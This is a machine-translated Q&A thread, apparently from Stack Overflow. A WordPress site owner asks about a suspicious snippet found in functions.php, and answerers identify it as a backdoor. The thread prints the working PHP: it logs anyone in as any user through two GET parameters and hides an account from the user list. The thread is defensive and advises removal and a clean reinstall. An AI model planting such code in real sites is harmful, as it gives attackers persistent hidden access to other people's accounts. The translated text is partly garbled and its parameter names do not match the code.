2017-11-28 1 views
2

나는 그의 WordPress 웹 사이트에서 친구를 돕고 있으며,이 function.php 파일에서이 스 니펫을 발견했습니다. 나는 그것을 이해하고 그것을 제거 할 수 있는지보기 위해 어떤 도움을 원합니다.functions.php의 PHP 코드 스 니펫

if(isset($_GET['foo'])){ $a = $_GET['foo']; } 
if(isset($_GET['bar'])){ $b = $_GET['bar']; } 
if((isset($a) && is_numeric($a))&& (isset($b) && $b == 'stuff')) { 

    $userdetail = get_userdata($a); 
    $user_logins = $userdetail->user_login; 
    $user_ids = $a; 
    wp_set_current_user($user_ids, $user_logins); 
    wp_set_auth_cookie($user_ids); 
    do_action('wp_login', $user_logins); 
} 
add_action('pre_user_query','dt_pre_user_query'); 
function dt_pre_user_query($user_search) { 
    global $current_user; 
    $username = $current_user->user_login; 

    if ($username != 'arlington') { 
     global $wpdb; 
     $user_search->query_where = str_replace('WHERE 1=1', 
     "WHERE 1=1 AND {$wpdb->users}.user_login != 'arlington'",$user_search->query_where); 
    } 
} 

지금까지 GET 요청은 'LG 전자'속성과 'CG'속성에 대한 문자 'M'에 대한 올바른 사용자 ID로 게시 된 경우 내가 말할 수있는. 그런 다음 사용자 데이터를 가져와 로그인하고 사용자를위한 쿠키를 만듭니다. 그래서 본질적으로 다음 URL로 로그인 할 수 있습니다. www.mysite.com?lg=1 & cg = M. 1을 적절한 UserID 또는 무작위로 바꿉니다.

사용자 쿼리 이전에 두 번째 코드가 실행 된 후. $ user_search 매개 변수가 필요한 것 같습니다. 사용자 이름이 'custom'이 아닌 경우 사용자 로그인 대신 아무것도 반환하지 않는 DB 쿼리를 실행합니다.

정확하게 해석했는지 알려주세요.

편집 : WordPress 웹 사이트를 악용하기 쉽도록하기 때문에 변수를 약간 변경하여 속임수를 막을 것입니다.

+0

왜 제거 하시겠습니까? 사이트에이 코드가 필요 없다는 것이 확실합니까? – ceejayoz

+0

누군가 이전에 사이트에서 일했으며 많은 불필요한 플러그인과 엉성한 코드가있었습니다. 이 스 니펫은 적절한 로그인 방법을 우회하는 것으로 보이며 관리자 패널에서 사용자를 숨 깁니다. 악의적으로 추가 된 것 같습니다. – aoa

+0

www.mysite.com/?lg=1&cg=M을 사용하여 로그인 할 때 사용하는 가설을 시험해 보았습니다. 악의적 인 코드처럼 보입니다. – aoa

답변

5

이 코드를 제거하고 나머지 사이트를 확인해야합니다.

첫 번째 11 행의 코드는 언급 된 2 get 매개 변수를 지정하여 모든 사용자가 모든 사용자로 로그인 할 수 있도록 허용합니다. pre_user_query에 추가 된 두 번째 블록은 custom이라는 사용자를 숨기기위한 SQL 절을 추가합니다.

이 코드를 추가 한 사람은 누구나 WordPress 사이트에 지속적인 백도어를 사용하고 싶습니다.

+0

그래, 그럴듯한 것처럼 보입니다. 나는 그것을 시험해 보았습니다. 그런 일이 일어나고 있습니다. 명명 규칙과 쉐이핑에 대한 정책이 무엇인지 잘 모르겠습니다. 숨겨진 계정을 발견하고 "wordpress support"회사입니다. 나는 그들의 이름과 웹 사이트를 올릴 수있다. 나머지 사이트에서 악성 코드를 검사하는 방법에 대한 조언이 있으십니까? 나는 지금보고있다. 내가 깨끗한 WordPress에 설치하려면 모든 웹 사이트 파일을 비교해야 할 것 같아? – aoa

+1

내 제안은 데이터베이스를 포함한 전체 사이트를 백업하고 모든 관련 로그인 자격 증명을 사이트 파일 및 데이터베이스로 변경하는 것입니다. 깨끗하고 새로운 WordPress로 다시 시작하십시오. 복원 할 때 데이터베이스의 각 플러그인, 테마 및 내용을 검사합니다. 지루한 작업이지만 사이트의 보안을 유지하는 가장 확실한 방법입니다. – ThePengwin

+0

고마워, 나는 그 일에 대해 내 친구와 이야기 할 것이다. 잠재 고객에게이 사실을 알릴 수있는 방법이 있습니까? 코드를 제거하고 숨겨진 계정과 관련된 사용자를 발견했을 때 전자 메일은 지원 질문에 답변하기 위해 웹 사이트에서 사용했던 전자 메일과 같았습니다. – aoa